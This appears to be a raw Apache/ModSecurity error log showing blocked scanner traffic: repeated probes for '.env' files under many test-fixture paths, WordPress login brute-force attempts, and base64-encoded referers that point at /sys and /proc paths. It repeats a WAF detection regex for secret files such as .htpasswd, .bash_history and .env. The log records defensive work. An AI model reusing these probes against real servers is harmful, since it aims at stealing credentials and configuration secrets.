"/___proxy_subdomain_webdisk/test/bdd/fixtures/demo/openapi/.env"] [unique_id "ai3zV9yTkdrNlD40tSG1rgAAAH8"] [Sat Jun 13 18:18:31.132443 2026] [security2:error] [pid 646876:tid 646940] [remote 17.22.245.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zV9yTkdrNlD40tSG1sAAAYD0"] [Sat Jun 13 18:18:31.162174 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:18:31.162444 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:18:31.177839 2026] [security2:error] [pid 648189:tid 648342] [remote 17.246.15.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zV1WSojQL4F7upKBvygAA0Hc"] [Sat Jun 13 18:18:31.188666 2026] [security2:error] [pid 646876:tid 647112] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/did-method-rest/.env"] [unique_id "ai3zV9yTkdrNlD40tSG1sgAAAGg"] [Sat Jun 13 18:18:31.327346 2026] [security2:error] [pid 646876:tid 647116] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/did-rest/.env"] [unique_id "ai3zV9yTkdrNlD40tSG1swAAAGw"] [Sat Jun 13 18:18:31.464368 2026] [security2:error] [pid 646876:tid 647054] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/edv-rest/.env"] [unique_id "ai3zV9yTkdrNlD40tSG1tAAAAC4"] [Sat Jun 13 18:18:31.601049 2026] [security2:error] [pid 646876:tid 647108] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/openapi-demo/.env"] [unique_id "ai3zV9yTkdrNlD40tSG1tgAAAGQ"] [Sat Jun 13 18:18:31.628027 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.39:47692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:31.628482 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.39:47692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:31.694774 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9kcml2ZXI= [Sat Jun 13 18:18:31.695249 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9kcml2ZXI= [Sat Jun 13 18:18:31.714089 2026] [access_compat:error] [pid 648189:tid 648222] [remote 57.141.14.41:22363] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:31.714529 2026] [access_compat:error] [pid 648189:tid 648222] [remote 57.141.14.41:22363] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:31.738507 2026] [security2:error] [pid 646876:tid 647084] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/sidetree-mock/.env"] [unique_id "ai3zV9yTkdrNlD40tSG1uwAAAEw"] [Sat Jun 13 18:18:31.876306 2026] [security2:error] [pid 646876:tid 647061] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/universalresolver/.env"] [unique_id "ai3zV9yTkdrNlD40tSG1vQAAADU"] [Sat Jun 13 18:18:31.930340 2026] [security2:error] [pid 648189:tid 648310] [remote 17.246.23.178:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 178.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zV1WSojQL4F7upKBv-AAAo1g"] [Sat Jun 13 18:18:31.931076 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.105:60714] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:31.931519 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.105:60714] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:31.936966 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.104:46400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:31.937414 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.104:46400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:32.014901 2026] [security2:error] [pid 646876:tid 647058] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/vc-rest/.env"] [unique_id "ai3zWNyTkdrNlD40tSG1wAAAADI"] [Sat Jun 13 18:18:32.152339 2026] [security2:error] [pid 646876:tid 647033] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/fixtures/.env"] [unique_id "ai3zWNyTkdrNlD40tSG1wQAAABk"] [Sat Jun 13 18:18:32.248102 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:18:32.248371 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:18:32.288988 2026] [security2:error] [pid 646876:tid 647024] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/fixtures/app_types/node/.env"] [unique_id "ai3zWNyTkdrNlD40tSG1wwAAABA"] [Sat Jun 13 18:18:32.385874 2026] [security2:error] [pid 648189:tid 648300] [remote 17.22.245.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zWFWSojQL4F7upKBwCQAAkk4"] [Sat Jun 13 18:18:32.426579 2026] [security2:error] [pid 646876:tid 647051] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/fixtures/app_types/rails/.env"] [unique_id "ai3zWNyTkdrNlD40tSG1xAAAACs"] [Sat Jun 13 18:18:32.502851 2026] [security2:error] [pid 648189:tid 648402] [client 172.56.168.133:31887] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zWFWSojQL4F7upKBwDgAAALY"] [Sat Jun 13 18:18:32.507343 2026] [security2:error] [pid 648189:tid 648402] [client 172.56.168.133:31887] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zWFWSojQL4F7upKBwDgAAALY"] [Sat Jun 13 18:18:32.524302 2026] [security2:error] [pid 648189:tid 648232] [remote 103.78.97.230:27548] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 230.97.78.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "rhinoglobalenterprises.com"] [uri "/wp-login.php"] [unique_id "ai3zWFWSojQL4F7upKBwDwAA6Qw"] [Sat Jun 13 18:18:32.563725 2026] [security2:error] [pid 646876:tid 647090] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/fixtures/node_path/.env"] [unique_id "ai3zWNyTkdrNlD40tSG1xgAAAFI"] [Sat Jun 13 18:18:32.668456 2026] [access_compat:error] [pid 648189:tid 648296] [remote 57.141.14.107:54675] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:32.668773 2026] [access_compat:error] [pid 648189:tid 648296] [remote 57.141.14.107:54675] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:32.701969 2026] [security2:error] [pid 646876:tid 647062] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/integration/env-config/app/.env"] [unique_id "ai3zWNyTkdrNlD40tSG1yAAAADY"] [Sat Jun 13 18:18:32.779983 2026] [access_compat:error] [pid 646876:tid 647006] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:18:32.780366 2026] [access_compat:error] [pid 646876:tid 647006] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:18:32.837826 2026] [security2:error] [pid 646876:tid 647049] [client 185.177.72.9:44314] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test0.php"] [unique_id "ai3zWNyTkdrNlD40tSG1ywAAACk"] [Sat Jun 13 18:18:33.033589 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.112:23416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:33.034075 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.112:23416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:33.038884 2026] [core:error] [pid 648189:tid 648426] [client 74.178.242.133:62592] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:18:33.038919 2026] [core:error] [pid 648189:tid 648426] [client 74.178.242.133:62592] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:18:33.048925 2026] [access_compat:error] [pid 648189:tid 648273] [remote 74.7.242.16:37586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:18:33.049369 2026] [access_compat:error] [pid 648189:tid 648273] [remote 74.7.242.16:37586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:18:33.258031 2026] [security2:error] [pid 648189:tid 648388] [client 185.177.72.9:44322] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test1.php"] [unique_id "ai3zWVWSojQL4F7upKBwMwAAAKg"] [Sat Jun 13 18:18:33.287490 2026] [security2:error] [pid 648189:tid 648255] [remote 17.22.237.212:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 212.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zWVWSojQL4F7upKBwNgAA8CE"] [Sat Jun 13 18:18:33.293281 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 